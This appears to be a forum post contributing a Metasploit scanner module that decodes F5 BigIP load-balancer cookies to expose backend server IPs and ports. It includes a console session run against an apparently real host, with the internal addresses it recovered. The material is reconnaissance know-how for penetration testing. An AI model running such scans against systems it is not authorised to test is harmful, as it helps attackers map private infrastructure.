Module f5 cookie disclosure

Hi all,
Another "scouting" contribution. It decodes cookies set unencrypted by F5 BigIP loadbalancer. It leaks real ip and port of backend. Results is added in db.

     msf > use auxiliary/scanner/http/f5_bigip_cookie_disclosure 
     msf auxiliary(f5_bigip_cookie_disclosure) > info

       Name: F5 Bigip Backend IP/PORT Cookie Disclosure.
     Module: auxiliary/scanner/http/f5_bigip_cookie_disclosure
    License: Metasploit Framework License (BSD)
       Rank: Normal

    Provided by:
      Thanat0s <thanspam@trollprod.org>

    Basic options:
      Name       Current Setting  Required  Description
      ----       ---------------  --------  -----------
      Proxies                     no        Use a proxy chain
      RETRY      10               yes       Number of requests to try to find backends
      RHOST                       yes       The target address
      RPORT      80               yes       The target port
      TARGETURI  /                yes       The URI path to test
      VHOST                       no        HTTP server virtual host

    Description:
       This module identify F5 BigIP SLB and decode sticky cookies wich 
      leak backend IP and port.

    References:
      http://support.f5.com/kb/en-us/solutions/public/6000/900/sol6917.html
      http://support.f5.com/kb/en-us/solutions/public/7000/700/sol7784.html?sr=14607726

    msf auxiliary(f5_bigip_cookie_disclosure) > set SSL true
    SSL => true
    msf auxiliary(f5_bigip_cookie_disclosure) > set RPORT 443
    RPORT => 443
    msf auxiliary(f5_bigip_cookie_disclosure) > set RHOST a.famous.host
    RHOST => a.famous.host
    msf auxiliary(f5_bigip_cookie_disclosure) > run
    [*] Starting request /
    [*] F5 cookie "LBzb-cli" found
    [*] Backend 10.253.248.4:80
    [*] Backend 10.253.248.196:80
    [*] Backend 10.253.248.133:80
    [*] Backend 10.253.248.68:80
    [*] Backend 10.253.248.5:80
    [*] Backend 10.253.248.197:80
    [*] Backend 10.253.248.132:80
    [*] Backend 10.253.248.207:80
    [*] Backend 10.253.248.144:80
    [*] Auxiliary module execution completed
     msf auxiliary(f5_bigip_cookie_disclosure) > notes 
    [*] Time: 2014-04-18 16:37:11 UTC Note: host=158.X.Y.Z     type=F5_Cookie_Backends data=["10.253.248.4:80", "10.253.248.196:80", "10.253.248.133:80", "10.253.248.68:80", "10.253.248.5:80", "10.253.248.197:80", "10.253.248.132:80", "10.253.248.207:80", "10.253.248.144:80"]